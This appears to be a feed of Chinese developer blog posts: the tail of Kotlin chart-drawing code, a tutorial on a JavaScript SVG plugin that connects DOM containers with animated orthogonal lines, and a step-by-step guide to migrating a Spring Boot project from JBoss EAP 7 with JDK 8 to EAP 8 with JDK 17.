                    drawText(textMeasurer = textMeasurer, topLeft = Offset(width / 2 + it.centerWidth / 2 + (vs.value2 * widthAbs - dl2) * animatedBar, index * heightDiv + (index - 1) * it.marginDiv + fontHegitVcenterOffset), text = vs.getTextValueFormat(vs.value2 * animatedBar), style = style)
                } else if (vs.value1 < vs.value2) {
                    drawRect(it.otherBgColor, topLeft = Offset(it.offsetLeft, index * heightDiv + (index - 1) * it.marginDiv), size = Size((vs.value2 - vs.value1) * widthAbs * animatedBar, heightDiv))
                    drawRect(it.loseColor, topLeft = Offset(it.offsetLeft + (vs.value2 - vs.value1) * widthAbs + vs.value1 * widthAbs * leftanimate, index * heightDiv + (index - 1) * it.marginDiv), size = Size(vs.value1 * widthAbs * animatedBar, heightDiv))
                    drawRect(it.win2Color, topLeft = Offset(width / 2 + it.centerWidth / 2, index * heightDiv + (index - 1) * it.marginDiv), size = Size(availableWidth / 2 * animatedBar, heightDiv))

                    drawText(
                        textMeasurer = textMeasurer,
                        topLeft = Offset(it.offsetLeft + fontSizeDip + (vs.value2 - vs.value1) * widthAbs + vs.value1 * widthAbs * leftanimate, index * heightDiv + (index - 1) * it.marginDiv + fontHegitVcenterOffset),
                        text = vs.getTextValueFormat(vs.value1),
                        style = style
                    )
                    val dl2 = vs.getTextValueFormat(vs.value1).length * fontSizeDip / 2 + fontSizeDip
                    drawText(
                        textMeasurer = textMeasurer,
                        topLeft = Offset(width / 2 + it.centerWidth / 2 + (width - it.offsetRight - dl2 - width / 2 - it.centerWidth / 2) * animatedBar, index * heightDiv + (index - 1) * it.marginDiv + fontHegitVcenterOffset),
                        text = vs.getTextValueFormat(vs.value2 * animatedBar),
                        style = style
                    )
                } else {
                    drawRect(it.eqColor, topLeft = Offset(it.offsetLeft + (availableWidth / 2 * leftanimate), index * heightDiv + (index - 1) * it.marginDiv), size = Size(availableWidth / 2 * animatedBar, heightDiv))
                    drawRect(it.eqColor, topLeft = Offset(width / 2 + it.centerWidth / 2, index * heightDiv + (index - 1) * it.marginDiv), size = Size(availableWidth / 2 * animatedBar, heightDiv))

                    drawText(textMeasurer = textMeasurer, topLeft = Offset(it.offsetLeft + fontSizeDip + (availableWidth / 2 - fontSizeDip) * leftanimate, index * heightDiv + (index - 1) * it.marginDiv + fontHegitVcenterOffset), text = vs.getTextValueFormat(vs.value1), style = style)
                    val dl2 = vs.getTextValueFormat(vs.value1).length * fontSizeDip / 2 + fontSizeDip
                    drawText(
                        textMeasurer = textMeasurer,
                        topLeft = Offset(width / 2 + it.centerWidth / 2 + (width - it.offsetRight - dl2 - width / 2 - it.centerWidth / 2) * animatedBar, index * heightDiv + (index - 1) * it.marginDiv + fontHegitVcenterOffset),
                        text = vs.getTextValueFormat(vs.value2),
                        style = style
                    )
                }
            }
        }
    }
}

五、总结

本文全重点介绍了 PK图的绘制,包括三种样式:

  1. 球队比赛PK绘制
  2. 球队比赛中球员各项最大值对比
  3. 动态对比各项数据

已经封装成库,你只需要准备好数据就可以了。

github地址
gitee地址

感谢阅读:

欢迎 关注,点赞、收藏

这里你会学到不一样的东西

by Wgllss at January 22, 2025 09:31 AM

juejin frontend

手撸一个多容器正交连接线插件

最近来了一个新需求,需要将 DOM 容器通过正交线连接起来,从而展示元素之间的关联关系,样式有点像脑图,设计稿大概如下所示:

image.png

image.png

思路分析

通过观察发现,要实现这个需求其实还是挺简单的,因为只涉及到左侧容器和右侧容器进行连接,是一个一对多的连接关系,并且左右两侧的容器的位置都是相对固定的,不存在拖拽调整位置的情况。

所以我们可以通过使用 SVG 或者 canvas 来绘制连线,这里我使用的是 SVG,然后将 SVG 视图层定位到 DOM 元素视图层下方即可,通过下面这张 3D 示意图,我们会更加容易理解:

3D视图.gif

效果预览

既然要做这个连线效果,我们不妨给它再多添加一点花样:

  • 线条类型:支持实线和虚线2种类型
  • 支持自定义线条样式,包括:线条颜色、线条粗细、虚线样式
  • 支持自定义拐角圆弧半径
  • 支持连线开启飞行标记动画效果
  • 支持连线开启蚂蚁线动画效果
  • 支持同时开启蚂蚁线动画和飞行标记动画效果

实线: 实线.png

虚线: 1737531663510_F929BFAA-B45C-49fe-971C-A731D2C8F4CC.png

飞行标记物动画效果: 1737531825387_飞行标记.gif

蚂蚁线动画效果: 1737531914764_蚂蚁线效果.gif

蚂蚁线结合飞行标记效果: 1737532019221_蚂蚁线结合飞行标记效果.gif

动态操作: 1737532131924_动态设置.gif

最终代码:

代码实现

元素布局:

<style>
.box {
    width: 100px;
    height: 100px;
    padding: 10px;
    margin: 10px;
    border: 10px solid #aaa;
    position: absolute;
    display: flex;
    align-items: center;
    justify-content: center;
}

#app {
    width: 700px;
    height: 700px;
    margin: 0 auto;
    border: 1px solid #ddd;
    position: relative;
}
</style>

<div id="app">
    <div class="dom">
        <div id="container1" class="box" style="top: 50px; left: 50px; background-color: lightblue;">
            container1
        </div>
        <div id="container2" class="box" style="top: 50px; left: 400px; background-color: lightgreen;">
            container2
        </div>
        <div id="container3" class="box" style="top: 200px; left: 400px; background-color: lightcoral;">
            container3
        </div>
        <div id="container4" class="box" style="top: 350px; left: 400px; background-color: lightpink;">
            container4
        </div>
    </div>
</div>

为了方便生成 svg 的 path 数据,所以我们首先定义一个工具类:

class SVGPath {
    constructor() {
        this.pathData = [];
    }

    // 将绘图光标移动到指定的点 (x, y)
    moveTo(x, y) {
        this.pathData.push(`M ${x} ${y}`);
        return this;
    }

    // 从当前点画一条直线到指定的点 (x, y)
    lineTo(x, y) {
        this.pathData.push(`L ${x} ${y}`);
        return this;
    }

    // 从当前点画一条二次贝塞尔曲线到指定的点 (x, y),控制点为 (cx, cy)
    quadraticCurveTo(cx, cy, x, y) {
        this.pathData.push(`Q ${cx} ${cy} ${x} ${y}`);
        return this;
    }

    // 从当前点画一条三次贝塞尔曲线到指定的点 (x, y),两个控制点分别为 (c1x, c1y) 和 (c2x, c2y)
    bezierCurveTo(c1x, c1y, c2x, c2y, x, y) {
        this.pathData.push(`C ${c1x} ${c1y} ${c2x} ${c2y} ${x} ${y}`);
        return this;
    }

    // 从当前点画一条椭圆弧线到指定的点 (x, y),椭圆的半径为 (rx, ry),旋转角度为 xAxisRotation,大弧标志为 largeArcFlag,扫掠标志为 sweepFlag
    /* 
        rx ry:椭圆的 x 轴和 y 轴半径。
        x-axis-rotation:椭圆旋转的角度(通常为 0)。
        large-arc-flag:决定使用大弧还是小弧(0 表示小弧,1 表示大弧)。
        sweep-flag:决定弧的方向(0 表示逆时针,1 表示顺时针)。
        x y:弧的终点坐标。
    */
    arcTo(rx, ry, xAxisRotation, largeArcFlag, sweepFlag, x, y) {
        this.pathData.push(`A ${rx} ${ry} ${xAxisRotation} ${largeArcFlag} ${sweepFlag} ${x} ${y}`);
        return this;
    }

    // 关闭当前路径,使其形成一个封闭的形状
    closePath() {
        this.pathData.push('Z');
        return this;
    }

    // 返回生成的路径数据字符串
    toString() {
        return this.pathData.join(' ');
    }
};

// 示例用法
const path = new SVGPath()
    .moveTo(10, 10)
    .lineTo(100, 10)
    .quadraticCurveTo(150, 50, 100, 90)
    .bezierCurveTo(50, 130, 10, 130, 10, 90)
    .closePath();
console.log(path.toString());

接下来定义 ConnectLine 类,来实现绘制:

class ConnectLine {
    constructor(wrapper, options = {
        stroke: "#000", // 连线颜色
        strokeWidth: 1, // 线宽
        radius: 20, // 拐角圆弧半径
        lineType: "solid", // 连线类型 solid/dashed
        lineDash: [5, 5], // 虚线样式
        markAnimate: false, // 是否开启飞行标记动画
        markAnimateDuration: '1s', // 飞行标记动画时长
        antLineAnimate: false, // 是否开启蚂蚁线动画效果
        antLineAnimateDuration: '10s', // 蚂蚁线动画时长
    }) {
        this.$wrapper = this.verify_element(wrapper);
        this.$wrapper.style.position = "relative";
        this.$svgElement = this.initSvgElement();
        this.options = options;
        this.initParams();
    }

    verify_element(element) {
        if (typeof element === "string") {
            return document.querySelector(element);
        } else if (element instanceof HTMLElement) {
            return element;
        } else {
            throw new TypeError(`${element} only supports usage of a string CSS selector, HTML DOM element for the 'element' parameter`);
        }
    }

    initSvgElement() {
        const svgNS = "http://www.w3.org/2000/svg";
        const svgElement = document.createElementNS(svgNS, "svg");
        svgElement.style = "position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: -1;";
        this.$wrapper.appendChild(svgElement);
        return svgElement;
    }

    initParams() {
        if (this.options.lineType === "dashed" || this.options.antLineAnimate) {
            if (!this.options.lineDash) {
                this.options.lineDash = 5;
            }
        }

        // 如果开启了飞行标记动画
        if (this.options.markAnimate) {
            if (!this.options.markAnimateDuration) {
                this.options.markAnimateDuration = '3s';
            }
        }

        // 如果开启了蚂蚁线动画
        if (this.options.antLineAnimate) {
            if (!this.options.antLineAnimateDuration) {
                this.options.antLineAnimateDuration = '10s';
            }

            // 添加CSS动画
            const style = document.createElement('style');
            style.innerHTML = `
                @keyframes ant-line {
                    from {
                        stroke-dashoffset: 100%;
                    }
                    to {
                        stroke-dashoffset: 0;
                    }
                }
            `;
            document.head.appendChild(style);
        }
    }

    connect(sourceWrap, targetWrap) {
        const sourceEle = this.verify_element(sourceWrap);
        const targetEle = this.verify_element(targetWrap);
        if (!sourceEle || !targetEle) return;

        // 获取容器的位置和尺寸
        const sourceRect = {
            width: sourceEle.offsetWidth,
            height: sourceEle.offsetHeight,
            top: sourceEle.offsetTop,
            left: sourceEle.offsetLeft,
            right: sourceEle.offsetLeft + sourceEle.offsetWidth,
        };
        const targetRect = {
            width: targetEle.offsetWidth,
            height: targetEle.offsetHeight,
            top: targetEle.offsetTop,
            left: targetEle.offsetLeft,
            right: targetEle.offsetLeft + targetEle.offsetWidth,
        };

        // 计算中心点
        const sourceCenter = {
            x: sourceRect.left + sourceRect.width / 2,
            y: sourceRect.top + sourceRect.height / 2,
        };
        const targetCenter = {
            x: targetRect.left + targetRect.width / 2,
            y: targetRect.top + targetRect.height / 2,
        };

        // 生成唯一的路径 ID
        const pathId = `path-${Math.random().toString(36).substring(2, 15)}`;
        // 创建 SVG path 路径
        const pathEle = document.createElementNS("http://www.w3.org/2000/svg", "path");
        pathEle.setAttribute("id", pathId);
        pathEle.setAttribute("fill", "none");
        // 设置线的颜色
        pathEle.setAttribute("stroke", this.options.stroke);
        // 设置线的宽度
        pathEle.setAttribute("stroke-width", this.options.strokeWidth);
        pathEle.setAttribute("stroke-linecap", "round");
        pathEle.setAttribute("stroke-linejoin", "round");
        // 设置虚线模式
        if (this.options.lineType === "dashed") {
            pathEle.setAttribute("stroke-dasharray", this.options.lineDash);
        }

        let dPath = "";
        if (targetCenter.y - sourceCenter.y === 0) {
            // 在同一水平线上
            dPath = new SVGPath()
                .moveTo(sourceRect.right, sourceCenter.y)
                .lineTo(targetRect.left, targetCenter.y)
        } else {
            // 不在同一水平线上
            // 绘制正交连线
            dPath = new SVGPath()
                .moveTo(sourceRect.right, sourceCenter.y)
                .lineTo((targetRect.left - sourceRect.right) / 2 + sourceRect.right - this.options.radius, sourceCenter.y)
                // 向左拐,顺时针
                .arcTo(this.options.radius, this.options.radius, 0, 0, 1, (targetRect.left - sourceRect.right) / 2 + sourceRect.right, sourceCenter.y + this.options.radius)
                .lineTo((targetRect.left - sourceRect.right) / 2 + sourceRect.right, targetCenter.y - this.options.radius)
                // 向右拐,逆时针
                .arcTo(this.options.radius, this.options.radius, 0, 0, 0, (targetRect.left - sourceRect.right) / 2 + sourceRect.right + this.options.radius, targetCenter.y)
                .lineTo(targetRect.left, targetCenter.y)
        }

        const d = dPath.toString();
        pathEle.setAttribute("d", d);

        // 添加蚂蚁线动画效果(行进线效果)
        if (this.options.antLineAnimate) {
            pathEle.setAttribute("stroke-dasharray", this.options.lineDash); // 设置dasharray为路径长度
            pathEle.setAttribute("stroke-dashoffset", this.options.lineDash); // 设置dashoffset为路径长度
            pathEle.style.animation = `ant-line ${this.options.antLineAnimateDuration} linear infinite`; // 添加动画效果
        }

        this.$svgElement.appendChild(pathEle);

        // 添加飞行标记动画效果
        if (this.options.markAnimate) {
            const marker = document.createElementNS("http://www.w3.org/2000/svg", "circle");
            marker.setAttribute("id", `marker_${pathId}`);
            marker.setAttribute("r", 5);
            marker.setAttribute("cx", 0);
            marker.setAttribute("cy", 0);
            marker.setAttribute("fill", '#c3d5f9');

            const animateMotion = document.createElementNS("http://www.w3.org/2000/svg", "animateMotion");
            animateMotion.setAttribute("dur", this.options.markAnimateDuration);
            animateMotion.setAttribute("repeatCount", "indefinite");
            animateMotion.setAttribute("path", d);

            marker.appendChild(animateMotion);
            this.$svgElement.appendChild(marker);
        }

        return pathId;
    }

    // 取消连接
    disconnect(pathId) {
        const pathEle = document.getElementById(pathId);
        if (pathEle) {
            this.$svgElement.removeChild(pathEle);
        }

        // 移除飞行标记
        if (this.options.markAnimate) {
            const markerEle = document.getElementById(`marker_${pathId}`);
            if (markerEle) {
                this.$svgElement.removeChild(markerEle);
            }
        }
    }
}

如何使用:

// 实例化
const int = new ConnectLine('#app', {
    stroke: "#CFD8E5", // 连线颜色
    strokeWidth: 1, // 线宽
    radius: 15, // 拐角圆弧半径
    lineType: "dashed", // 线类型,可选值:solid(实线), dashed(虚线)
    lineDash: 7, // 虚线模式下,表示虚线和实线之间的间隔
    markAnimate: true, // 是否添加飞行标记
    markAnimateDuration: '2s', // 飞行标记动画时长
    antLineAnimate: true, // 是否添加蚂蚁线动画效果(行进线效果)
    antLineAnimateDuration: '10s', // 蚂蚁线动画时长
});

const pathId1 = int.connect(container1, container2);
const pathId2 = int.connect(container1, container3);
const pathId3 = int.connect(container1, container4);

addBtn.onclick = () => {
    const box = document.createElement('div');
    box.className = 'box';
    box.style = "top: 550px; left: 400px; background-color: lightblue;";
    app.appendChild(box);

    int.connect(container1, box);
    addBtn.onclick = null;
}

总结

通过本篇文章,我们实现了一个 ConnectLine 的插件,用于连线多个 DOM 容器,并且可以通过配置项自定义线条的样式和动画效果。这里的功能基本可以满足我的开发需求了,但是该插件还有很多可以改造升级的空间,我这里就抛砖引玉了,希望可以给大家提供一些思路和借鉴。

by xxch at January 22, 2025 09:30 AM

juejin backend

【Jboss_Linux】 Jboss eap 7 + JDK8 + Springboot 2.7 升级 Jboss eap 8 + JDK17 + springboot 3

image.png

先安装Jboss eap 7 + JDK8,进行项目测试,兼容完在做升级 Jboss eap 8 + JDK17

下载JBoss及JDK包

Jboss EAP:JBoss Enterprise Application Platform Download | Red Hat Developer

Jboss 开源:JBoss Application Server Downloads - JBoss Community

参考官方文档:docs.redhat.com/en/document…

将包导入到linux服务器

cd 想要上传的路径

windows导入到linux

rz 

linux导出到windows

sz 文件名 

也可以通过你自己的工具直接拖拉拽进去

解压下载好的包

tar -zxvf a.tar                      //解包至当前目录
tar -zxvf a.tar -C /usr------        //指定解压的位置
unzip test.zip             //解压*.zip文件 
unzip -l test.zip          //查看*.zip文件的内容 
tar xvf jdkxxx.tar.gz

image.png

image.png

配置JDK(修改全局变量方式--不建议此方式)

如果你这台服务器就是供给你自己使用你可以更改全局的环境变量,如果是有别的同事使用这个全局变量,建议让你的jboss直接指定对应的JDK,而不是去更改全局的

vim /etc/profile   --修改文件
:wq    --保存

也可以通过工具,右键直接编辑

注意:这里JBOSS_HOME无需配置,如果想在linux中部署多个版本的jboss,他的思想跟tomcat一样,可以启动多个服务,会自动找对应的版本

JAVA_HOME=/home/xxx/jdk1.8.0_202
PATH=$JAVA_HOME/bin:$PATH
CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export JAVA_HOME
export PATH

# export JBOSS_HOME=/home/tangweilong/jboss-eap-7.3
# export CLASSPATH=.:$CLASSPATH:$JBOSS_HOME/lib
# export PATH=$PATH:$JBOSS_HOME/bin

让配置文件生效

source /etc/profile

测试如图

java -version

image.png

找到bin目录下的standlone.conf,进行编辑,将指定的jdk路径放进去,就可以跳过环境变量读指定的jdk版本

1737537407403.jpg

image.png

部署Jboss

部署的话jboss7跟jboss8基本一样,唯一很大的区别在于打包的方式以及项目的兼容

解压缩完直接修改配置文件就好

  • 修改外网访问,默认只允许本机访问
  • 修改端口,避免端口占用

image.png 启动jboss,会出现以下关键信息代表启动成功

./standalone.sh

image.png 监测端口命令,找到自己的端口是否在Jboss在跑

netstat -tulnp | frep 8033

image.png

监测进程命令,查看这个进程是否是Jboss在运行

ps -ef | grep 260247

image.png 访问示例:服务器地址:加你自己配置的端口

image.png

发布项目(Jboss7)

注意:保证maven版本3.6.2 以上

打包命令--如果在idea的Terminal中打包需要安装东西,可以在项目文件中(带pom文件的路径下-如图),cmd进行打包

image.png

mvn clean install -Dmaven.test.skip=true

打完包后,war包的路径在项目的release目录下

image.png

将打包好的war直接放置在jboss的\standalone\deployments文件中

image.png

重新进入jboss的bin路径下,重启jboss,加载项目

./standalone.sh

启动成功,可以访问检测,也可以看一下deployments是否生成了deployed文件,如果失败会生成一个failed文件

image.png

剩余问题就是特殊项目特殊解决了

发布项目(Jboss8)

注意:linux中的jdk如果是11 项目必须是jdk11 如果linux中的jdk是17 项目可以是 jdk11 jdk17,选择对应的版本去打包

注意:保证maven版本3.6.2 以上

注意:保证springboot版本在3以上

将下面的pom文件的内容兼容到自己项目的主pom文件中,然后更新maven,直到能找到全部依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.jboss.as.quickstarts</groupId>
    <artifactId>jboss8</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>war</packaging>


    <properties>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <version.server>8.0.0.GA-redhat-00009</version.server>
        <version.bom.ee>${version.server}</version.bom.ee>
        <version.plugin.wildfly>4.1.1.Final</version.plugin.wildfly>
        <version.plugin.war>3.3.2</version.plugin.war>
        <finalName>${project.artifactId}</finalName>
    </properties>

    <build>
        <pluginManagement>
            <plugins>
                <plugin>
                    <groupId>org.wildfly.plugins</groupId>
                    <artifactId>wildfly-maven-plugin</artifactId>
                    <version>${version.plugin.wildfly}</version>
                </plugin>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-war-plugin</artifactId>
                    <version>${version.plugin.war}</version>
                    <configuration>
                        <failOnMissingWebXml>false</failOnMissingWebXml>
                        <!-- 如果你有一个已有的 web.xml 文件,可以使用以下配置 -->
<!--                         <webxml>src/main/webapp/WEB-INF/web.xml</webxml> -->
                    </configuration>
                </plugin>
            </plugins>

        </pluginManagement>
    </build>

    <repositories>
        <repository>
            <id>jboss-public-maven-repository</id>
            <name>JBoss Public Maven Repository</name>
            <url>https://repository.jboss.org/nexus/content/groups/public/</url>
            <releases>
                <enabled>true</enabled>
                <updatePolicy>never</updatePolicy>
            </releases>
            <snapshots>
                <enabled>true</enabled>
                <updatePolicy>never</updatePolicy>
            </snapshots>
            <layout>default</layout>
        </repository>
        <repository>
            <id>redhat-ga-maven-repository</id>
            <name>Red Hat GA Maven Repository</name>
            <url>https://maven.repository.redhat.com/ga/</url>
            <releases>
                <enabled>true</enabled>
                <updatePolicy>never</updatePolicy>
            </releases>
            <snapshots>
                <enabled>true</enabled>
                <updatePolicy>never</updatePolicy>
            </snapshots>
            <layout>default</layout>
        </repository>
    </repositories>

    <pluginRepositories>
        <pluginRepository>
            <id>jboss-public-maven-repository</id>
            <name>JBoss Public Maven Repository</name>
            <url>https://repository.jboss.org/nexus/content/groups/public/</url>
            <releases>
                <enabled>true</enabled>
            </releases>
            <snapshots>
                <enabled>true</enabled>
            </snapshots>
        </pluginRepository>
        <pluginRepository>
            <id>redhat-ga-maven-repository</id>
            <name>Red Hat GA Maven Repository</name>
            <url>https://maven.repository.redhat.com/ga/</url>
            <releases>
                <enabled>true</enabled>
            </releases>
            <snapshots>
                <enabled>true</enabled>
            </snapshots>
        </pluginRepository>
    </pluginRepositories>

    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.jboss.bom</groupId>
                <artifactId>jboss-eap-ee-with-tools</artifactId>
                <version>${version.bom.ee}</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>


    <dependencies>
        <dependency>
            <groupId>jakarta.servlet</groupId>
            <artifactId>jakarta.servlet-api</artifactId>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>javax.websocket</groupId>
            <artifactId>javax.websocket-api</artifactId>
            <version>1.0</version>
            <scope>provided</scope>
        </dependency>
<!--        <dependency>-->
<!--            <groupId>javax.servlet</groupId>-->
<!--            <artifactId>javax.servlet-api</artifactId>-->
<!--            <version>4.0.1</version>-->
<!--            <scope>provided</scope>-->
<!--        </dependency>-->
    </dependencies>

</project>

找到pom文件的路径下,cmd打包

注意:jboss8的打包命令跟jboss7不一样

mvn package wildfly:deploy

打完包后,war包的路径在项目的release目录下

image.png

将打包好的war直接放置在jboss的\standalone\deployments文件中

image.png

重新进入jboss的bin路径下,重启jboss,加载项目

./standalone.sh

启动成功,可以访问检测,也可以看一下deployments是否生成了deployed文件,如果失败会生成一个failed文件

image.png

项目兼容(在已有的项目上做升级)

  1. sdk升级
<cfca.private.SADK.version>3.7.1.0</cfca.private.SADK.version>
替换为
<cfca.private.SADK.version>3.7.1.0patch7</cfca.private.SADK.version>

2 maven-compiler-plugin升级

<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>2.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>

替换为

<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>${maven-compiler-plugin.version}</version>
<configuration>
<source>${maven-compiler-plugin-configuration.version}</source>
<target>${maven-compiler-plugin-configuration.version}</target>
</configuration>
</plugin>

<maven-compiler-plugin.version>3.8.1</maven-compiler-plugin.version>
<maven-compiler-plugin-configuration.version>17</maven-compiler-plugin-configuration.version>

3 升级springboot版本为 3 以上

<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.1.12</version>
<relativePath/>
</parent>

4 修改全局的Resource修改为Autowired

例如:
@Resource("bankcommConfigImpl")

替换为:
@Autowired
@Qualifier("bankcommConfigImpl")

5 在bean的pom中引入jakarta依赖

除了jakarta.jws-api其他springboot3都会自带版本

<dependency>
<groupId>jakarta.jws</groupId>
<artifactId>jakarta.jws-api</artifactId>
<version>${jakarta.jws-api}</version>
</dependency>
<dependency>
<groupId>jakarta.xml.bind</groupId>
<artifactId>jakarta.xml.bind-api</artifactId>
</dependency>
<dependency>
<groupId>jakarta.validation</groupId>
<artifactId>jakarta.validation-api</artifactId>
</dependency>
<dependency>
<groupId>jakarta.xml.soap</groupId>
<artifactId>jakarta.xml.soap-api</artifactId>
</dependency>
<dependency>
<groupId>jakarta.xml.ws</groupId>
<artifactId>jakarta.xml.ws-api</artifactId>
</dependency>
<dependency>
<groupId>jakarta.annotation</groupId>
<artifactId>jakarta.annotation-api</artifactId>
</dependency>

6 修改包中引入的javax的包为jakarta包

可以利用idea的自动扫描工具进行扫描是否有遗漏项的替换

例如:
import javax.annotation.xxx;
替换为:
import jakarta.annotation.xxx;

7 hibernate依赖升级

<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-validator</artifactId>
<version>${hibernate-validator-jdk7.version}</version>
<scope>provided</scope>
</dependency>

<hibernate-validator-jdk7.version>6.0.18.Final</hibernate-validator-jdk7.version>

替换为

<hibernate-validator-jdk7.version>8.0.2.Final</hibernate-validator-jdk7.version>

8 spring-data-redis依赖升级

建议引用springboot3版本自带的版本号

<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-redis</artifactId>
</dependency>

9 jedis依赖升级

<dependency>
<groupId>redis.clients</groupId>
<artifactId>jedis</artifactId>
<scope>compile</scope>
</dependency>

10 ErrorAttributeOptions 异常处理

Map<String, Object> attr = this.errorAttributes.getErrorAttributes(requestAttributes, false);

替换为
ErrorAttributeOptions errorAttributeOptions =  ErrorAttributeOptions.of(ErrorAttributeOptions.Include.EXCEPTION);

Map<String, Object> attr = this.errorAttributes.getErrorAttributes(requestAttributes, errorAttributeOptions);

11 maven-antrun-plugin依赖升级

 <plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-antrun-plugin</artifactId>
<version>3.0.0</version>
</plugin>

12 将项目pom中的tasks替换为target

<tasks>
xxxxxx
</tasks>

替换为

<target>
xxxxxx
</target>

13 tools依赖清除

Tools相关依赖进行注释掉,例如:

<!--                      <dependencies>-->
<!--                          <dependency>-->
<!--                              <groupId>com.sun</groupId>-->
<!--                              <artifactId>tools</artifactId>-->
<!--                              <version>1.5.0</version>-->
<!--                              <scope>system</scope>-->
<!--                              <systemPath>${java.home}/../lib/tools.jar</systemPath>-->
<!--                          </dependency>-->
<!--                      </dependencies>-->

14 lombok 的依赖 1.18.20 版本或以上

<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>${lombok.version}</version>
</dependency>

<lombok.version>1.18.20</lombok.version>

15 groovy 依赖版本兼容

注意codehaus跟apache不同包下的groovy版本是不一样的

<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<classifier>indy</classifier>
<version>2.4.21</version>
</dependency>

16 ehcache依赖版本升级,解决xml文件解析错误问题

<dependency>
<groupId>org.ehcache</groupId>
<artifactId>ehcache</artifactId>
<version>${ehcache.version}</version>
</dependency>


<ehcache.version>3.6.1</ehcache.version>

升级为

<ehcache.version>3.10.8</ehcache.version>

17 ehcache要指定jakarta

<dependency>
<groupId>org.ehcache</groupId>
<artifactId>ehcache</artifactId>
<version>${ehcache.version}</version>
<classifier>jakarta</classifier>
</dependency>

替换为

<dependency>
<groupId>org.ehcache</groupId>
<artifactId>ehcache</artifactId>
<version>${ehcache.version}</version>
<classifier>jakarta</classifier>
</dependency>

18 spring版本升级为 6以上

建议直接使用springboot3自带的,如果项目中有自己指定的版本要进行修改

<springframework.version>6.0.21</springframework.version>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>??</artifactId>
<version>${springframework.version}</version>
</dependency>

Springframework的依赖有很多,建议保持版本一致以避免不必要的麻烦

19 JwtInterceptor改造

public class JwtInterceptor extends HandlerInterceptorAdapter

替换为

public class JwtInterceptor implements AsyncHandlerInterceptor

20 Myabits依赖升级

<mybatis.version>3.5.6</mybatis.version>

替换为

<mybatis.version>3.5.17</mybatis.version>

<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>${mybatis.version}</version>
</dependency>

21 commons-pool2依赖升级

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-pool2</artifactId>
<version>${commons-pool2.version}</version>
</dependency>

22 全局指定mybatis版本

可能会出现,打完包的mybatis版本跟项目中的不一致

<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis-spring</artifactId>
<version>3.0.4</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.17</version>
</dependency>
</dependencies>
</dependencyManagement>

23 解決LogFilter重复注册问题

如下两个注解会进行注册两遍,如果重复使用,会报这个拦截器已经注册过

@Configuration
@WebFilter(filterName = "LogFilter", urlPatterns = "/*")

替换为

@Configuration
//@WebFilter(filterName = "LogFilter", urlPatterns = "/*")

24 解決log4j启动失败问题

在war包的META-INF路径下,增加配置文件jboss-deployment-structure.xml,排除jboss自带的一些依赖避免冲突,例如org.jboss.logmanager.log4j2

image.png

<jboss-deployment-structure>
  <deployment>
    <exclusions>
      <module name="org.jboss.logmanager.log4j2" />
      <module name="org.jboss.logmanager"/>
      <module name="org.apache.logging.log4j.api"/>
      <module name="java.logging"/>
    </exclusions> 
  </deployment>
</jboss-deployment-structure>

并且需要排除相关依赖,找到jboss中该以来的路径,打开对应的module.xml

image.png 将如下的modules加入到jboss-deployment-structure.xml中即可

image.png

具体可看官方文档如何使用jboss-deployment-structure.xml

image.png

25 Slf4jLoggerFactory无法转换为LoggerContext

slf4j的jar与Jboss自带的jar产生了冲突、使用 jboss-deployment-structure.xml 文件进行对冲突依赖排除

<?xml version='1.0' encoding='UTF-8'?>
<jboss-deployment-structure xmlns="urn:jboss:deployment-structure:1.1">
    <deployment>
        <!-- exclude-subsystem prevents a subsystems deployment unit processors running on a deployment -->
        <!-- which gives basically the same effect as removing the subsystem, but it only affects single deployment -->
        <exclusions>
            <module name="org.slf4j" />
        </exclusions>
    </deployment>
</jboss-deployment-structure>

26 wildfly服务,调用接口返回时报jackson相关错误

由于jboss的module中自带Jackson而且版本较低,无法和Springboot2.x之后的兼容,Jackson相关jar包与wildfly自带的jar产生了冲突

<?xml version='1.0' encoding='UTF-8'?>
<jboss-deployment-structure xmlns="urn:jboss:deployment-structure:1.1">
    <deployment>
        <exclusions>
            <!-- 所有相关Jackson的包都要去除,不然可能会有其他错误 -->
<module name="com.fasterxml.jackson.core.jackson-core" />
            <module name="com.fasterxml.jackson.core.jackson-annotations" />
            <module name="com.fasterxml.jackson.core.jackson-databind" />
            <module name="com.fasterxml.jackson.datatype.jackson-datatype-jdk8" />
            <module name="com.fasterxml.jackson.datatype.jackson-datatype-jsr310" />
            <module name="com.fasterxml.jackson.jaxrs.jackson-jaxrs-json-provider" />
            <module name="org.jboss.resteasy.resteasy-jackson2-provider" />
            <module name="org.jboss.resteasy.resteasy-jackson-provider" />
        </exclusions>
    </deployment>
</jboss-deployment-structure>

